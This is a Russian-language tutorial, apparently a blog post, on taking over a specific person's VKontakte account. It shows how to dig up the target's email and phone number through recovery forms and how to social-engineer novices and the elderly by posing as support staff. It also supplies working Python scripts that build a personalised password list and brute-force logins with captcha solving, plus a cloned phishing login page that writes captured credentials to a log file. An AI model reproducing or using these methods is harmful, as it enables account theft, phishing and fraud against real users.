Как взломать ВКонтакте

Как взломать ВКонтакте


Как же взломать вконтакте?

Простой ответ - никак! Более полный - если учесть, что большинство пользователей совершают ошибки, то взлом возможен, но не путаем понятия.


Уязвимости, позволяющей взламывать абсолютно любого юзера за пять секунд нет и не будет. А если и будет, то никто не собирается вам ее предлагать. Поэтому, те способы, которые представлены ниже, тем или иным образом направлены на обман юзера и используют отсутствие у него мозга.


Разделим весь процесс на несколько этапов. Первоначально нам понадобится цель, свободное время, безопасный доступ к вк.


Сбор информации 😐

На этом этапе мы имеем страницу юзера, которого бы желательно взломать и нам необходимо собрать, как можно больше полезной информации, которая бы впоследствии помогла в успешном взломе.


___________________________________

Что же такого имеется на странице?


1) Урл страницы. Сохраняем себе айди или если там имеется буквенная замена, то ее. Аккаунты и прочее данного человека, всякого рода твиттеры и прочее.


2) Почта. Разумеется мы бы хотели заиметь почту цели. Писать ему/ей напрямую и выпытывать? В большинстве случаев это не потребуется. Если человек не только попал в сеть, вы сможете найти почту путем простого гугления.

___________________________________

Например особо удобно отыскивать мыло на мэйл ру. Один из способов - это просто погуглить фио цели и дату рождения. Или же другого рода такие комбинации. Если цель имеет мой мир на маиле, то почта будет в коде страницы или же в урл.


Если просто имеется почта без соц.сети от мейла ее тоже можно запросто выяснить зарегавши себе другую почту на этом сервисе и поискав в мессенджере от мэйла.😏


И как вариант вы можете поискать полезную информацию с помощью имеющихся у цели аккаунтов. То есть берем например никнейм в Твиттере/Фейсбуке/другое и пробиваем по популярным почтовым сервисам. Также в Твиттере можно использовать форму восстановления и узнать часть почты. В фейсбуке можно напрямую поискать аккаунт введя почту в поиск. И в некоторых сервисах есть такая штука, как импорт почтовых контактов и предложение добавить этих людей в друзья. То есть можно зарегать левую почту и узнать дополнительные аккаунты. Если почта не была запалена сразу, то найти ее можно только так с помощью последовательного поиска полезной информации.😬


3) Телефон. А как же узнать номер человека? Если исключить такие варианты, как публикация юзером своего номера на странице (есть и такие) и например использования им телефона для связи в каком-либо проекте, где он выложен в открытую (авито/свой сайт/покупка или продажа недвижимости/другое), то остается лишь этот вариант.🤥


Есть такой, не сказать открытый, но достаточно простой способ, позволяющий узнать номер юзера, если у вас имеется несколько его аккаунтов, привязанных к одной и той же почте.🤭


Пример: имеется почта юзера на маиле. Вводим ее в форму восстановления вконтакте и нам пишет часть номера. Вводим также ее на маиле в восстановлении. И если номер там привязан, то вы увидите уже другую часть номера. Если почта не привязана, то тогда там есть секретный вопрос.🤫


Перебираем его и заставляем юзера привязать мобилку на сервис. Теперь у вас не хватает лишь двух цифр от почты. Чтобы их узнать достаточно перебрать форму восстановления вк уже с помощью номера. Всего-то 99 раз. Можно и автоматизировать. А когда будет запрашивать фамилию страницы, как доп защиту, запросто вводим ее. Ведь мы же знаем страницу цели.😋


Также в некоторых случаях люди любят публиковать свой номер на странице, но закрывать часть номера звездочками, черточками и т. д. Если вам повезет, то будут незакрыты именно те цифры, которые вам недоступны в форме восстановления вк.😄

Взлом

В данном этапе вы должны получить доступ к аккаунту цели. Основные способы:


1) Социнженерия. Сразу скажу этот способ годится либо для совсем школьников, либо наоборот для стариков, которые мало что знают об интернете, но решили по каким-либо причинам зарегаться в соц.сети. Если вы хотите просто попрактиковаться, то новички вк могут быть найдены тут 👇

https://vk.com/catalog.php


В основном тут используется простой механизм. Человек, который не разбирается в чем-то, подсознательно доверяет более опытным юзерам/админам/техподдержке и принимает их слова на веру.


Тут можно создать аккаунт представителя техподдержки, создать "официальную" почту администрации и прочее. И придумать некую ахуительную историю. Что новые юзеры обязаны проходить проверку после регистрации и дать например ссылку на некий тест, по итогу или для входа которого требуется логин-пасс от вк. Главное в общем-то не заострять внимание на пароле. Просто писать,что можете ли вы написать мне свои данные от аккаунта не стоит. Следует убедить пользователя, что он в безопасности. Этот способ хорошо сочетается с фейком. Кроме того продвинутые социнженеры могут узнав номер юзера позвонив (разумеется анонимно, используя sip) и развести напрямую. Кроме того все извлеченная вами информация, например известный вам номер телефона/упоминание фактов с указанием дат/другое косвенно говорит о том, что вы из техподдержки.🤠


В данном способе все зависит от вас, поэтому вы можете прокачать свои навыки на разного рода новичках в вк, а потом переходить к более-менее обычным юзерам.🤨


2) Умный брутфорс. Брутфорс - это перебор пароля, кто не в курсе. Данная атака сработает, если наша цель - среднестатический юзер, который ставит слабые пароли на свои аккаунты, для более легкого запоминания.😎


Для него нам понадобится, заточенный исключительно под нашего юзера словарь. Такой неоткуда не возьмешь, поэтому составляем сами. Что у нас есть? Пример (персонаж вымышленный).


Дата рождения - 17.11.1992 = 1711, 1992, 17111992

Возраст - 2016 - 1992 = 24

Имя - Стас = stas, ctac

Фамилия - Курягин = kuryagin,

Аккаунты - twitter.com/stasik_ku , facebook.com/stasss1992, stasss92 @ mail.ru = stasik_ku, stasss1992, stasss92

Увлечения - футбол, плавание, молодежка = football, swimming, molodejka, molodegka


Также есть страница вк, на которой написано какие пароли следует указывать, какие символы возможны и самые частые пароли.


Получился лист из 14 строк. Но из него еще нужно создать комбинации паролей, которые мог бы создать недалекий юзер.


Ниже небольшой скрипт на python, который этим и занимается.


#! coding:utf-8


import sys,os


razdel = ['_',':',';']


def uniq(seq):

seen = set()

seen_add = seen.add

return [x for x in seq if not (x in seen or seen_add(x))]


def brute_words(spisok):

spisok2 = []

for i in spisok:

spisok2.append(i)

spisok2.append(i[0].upper()+i[1:])

spisok2.append(i[0].upper()+i[1:-1]+i[-1].upper())

spisok2.append(i.upper())

for j in spisok:

spisok2.append(i+j)

for m in razdel:

spisok2.append(j+m+i)

spisok2.append(j+i)

spisok2.append(i+i+j)

spisok2.append(j+j+i)

spisok2.append(i[0].upper()+i[1:]+j)

spisok2.append(i[0].upper()+i[1:-1]+i[-1].upper()+j)

return uniq(spisok2)


def generate(spisok_file):

o = open(spisok_file,'r')

spisok = o.read().splitlines()


for i in brute_words(spisok):

print i


def main():

try:

argv1 = sys.argv[1]

generate(argv1)

except IndexError:

print "Нужно указать файл"


except IOError:

print "Нет такого файла"


if __name__ == "__main__":

main()

Из 14 получилось 1272 варианта.


Но что же с этим делать? Не сидеть же и перебирать вручную каждый пароль.

Разумеется, необходимо все более или менее автоматизировать.


Для этой цели есть скрипт, который брутит через мобильную версию вк.


#! coding: utf8

import grab,re,urllib2

from antigate import AntiGate

from grab import GrabTimeoutError

from time import sleep


cap_key = '123 ' #Ваш ключ с антигейт


def anti(key, file): #Получение решения капчи с антигейт

try:

try:

data = AntiGate(key, file)

return data

except KeyboardInterrupt:

print "Завершение"

except:

anti(key,file)


def save(url, file): #Скачивание файла по урл

f = urllib2.urlopen(url)

f2 = open(file, 'wb')

f2.write(f.read())


def cap_solve(img):

save(img, 'captcha.jpg')

key = anti(cap_key, 'captcha.jpg')

return key


def brute(login,passwords,save):

o = open(save,'w')

o2 = open(passwords,'r')


try:

int(login)

prefix = True

except:

prefix = False

g = grab.Grab()

g.go('http://m.vk.com')

for i in o2:

i2 = i.rstrip('\r\n')

g.doc.set_input('email',login)

g.doc.set_input('pass',i2)

g.doc.submit()


if g.doc.text_search(u'captcha'):

c1 = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]

c2 = 'http://m.vk.com' + c1

key = cap_solve(c2)

g.doc.set_input('email',login)

g.doc.set_input('pass',i2)

g.doc.set_input('captcha_key',str(key))

g.doc.submit()

print "cap"


if 'Подтвердить' in g.response.body:

if prefix:

prefix1 = g.doc.rex_search('<span class="field_prefix">\+[0-9]*</span>').group(0)

prefix2 = g.doc.rex_search('<span class="field_prefix"> [0-9]*</span>').group(0)

pre1 = re.findall('[0-9]{1,}', prefix1)[0]

pre2 = re.findall('[0-9]{1,}', prefix2)[0]

login = login.replace(pre1,'')

login = login.replace(pre2,'')

g.set_input('code', login)

g.submit()

print login + ':' + i2 + '--success'

o.write(login + ':' + i2 + '\n')

else:

o.write(login + ':' + i2 + '\n')

else:

if g.doc.rex_search('[^&gt;]+').group(0) == 'Login | VK':

print login + ':' + i2 + '--fail'

else:

print login + ':' + i2 + '--success'

o.write(login + ':' + i2 + '\n')

o.close()

o2.close()

Он для одиночной цели, без прокси и многопоточности. Зато он может сам ввести недостающие цифры в защиту вк заходе с другой страны. Также с помощью антигейт запросто вводит капчи, которые появляются после 5-6 попытки ввода с одного айпи.


3) Фейк наше все. Данный способ предназначен для невнимательных людей. По большей части их либо завлекают халявой, либо отвлекают внимание с помощью многобукв. Ниже способ, как создать простой фейк на основе обычного сайта вк (страницы логина). Можете брать, как мобильную, так и основную версии зависит от того, с какого устройства будет заходить юзер. Насчет регистрации на хостинге и покупки похожего домена ничего писать не буду, так как это банально просто.


Ручной способ😞


Первым делом качаем страницу логина вк через ваш браузер. Затем смените кодировку html файла на utf-8.


Сначала определяем кодировку

file --mime-encoding file.html


Затем меняем с исходной на новую

iconv -f iso-8859-1 -t utf-8 file.html > vk2.html


Далее вам нужно создать управление страницей на серверном языке. Для этой цели можно использовать python. Можно заюзать простейший фреймворк под названием bottle. Его плюс, в том что ему не нужны никакие зависимости. Просто качаете файл скрипта с сайта и все.😉


@route('/')

def index():

return template('vk2.html')


@route('/Welcome! | VK_files/')

def server_static(filepath):

return static_file(filepath, root='./Welcome! | VK_files/')


После тестового запуска скрипта обнаружилась ошибка 404 на кое-каких файлах.


У нас к сожалению не имеется нужных картинок с сайта. Давайте положим их в отдельную папку images.


mkdir images

cd images

wget http://vk.com/images/hatf_vk.gif

wget "http://vk.com/images/darr_dd_out.gif"

wget "http://vk.com/images/backlink.gif"

mkdir icons

cd icons

wget "http://vk.com/images/icons/facebook_btn_icon.png"

wget "http://vk.com/images/icons/check.gif"


Пропишем новый роутинг в скрипте.


@route('/images/<filepath:path>')

def server_static(filepath):

return static_file(filepath, root='./images/')


Теперь все стало на порядок красивее. Вы конечно можете скачать также основные страницы, на которые можно перейти с основной не залогинившись, чтобы было правдоподобней (а потом поменять ссылки в основной), но и одной хватит.


Чего же не хватает? Ах да конечно. После логина ничего не происходит. Давайте изменим это.


Добавим роутинг для пост запроса. Найдем форму логина на странице. Изменим в ее коде action на пустое и удалим проверку onsubmit. И добавим обработку post-запроса.


@post('/')

def index():

login = request.forms.get('email')

password = request.forms.get('pass')

print "|Catch|-------------- " + login + ':' + password


with open("log.txt", "a") as myfile:

myfile.write(login + ':' + password + "\n")


return redirect('http://www.vk.com')


Так работает. Правда пока лишь после нажатия enter, но не по клику кнопки.

Переносим тег button, что под формой в коде в пределы формы и добавляем свойство type="submit".


После этого кнопка работает, как надо. Архив с готовым решением.


Автоматический способ


Если хотите использовать уже готовое решение, то можно воспользоваться тулкитом SET. Social Engineer Toolkit. Входит в дистрибутив кали. Можно установить на обычный debian на сервере, используя репы kali или установив все зависимости по отдельности.


Используем функцию site cloner в составе set. В нем есть дополнительные возможности, такие как встраивание вредоносных скриптов прямо в страницу или же добавление опасных flash.

Report Page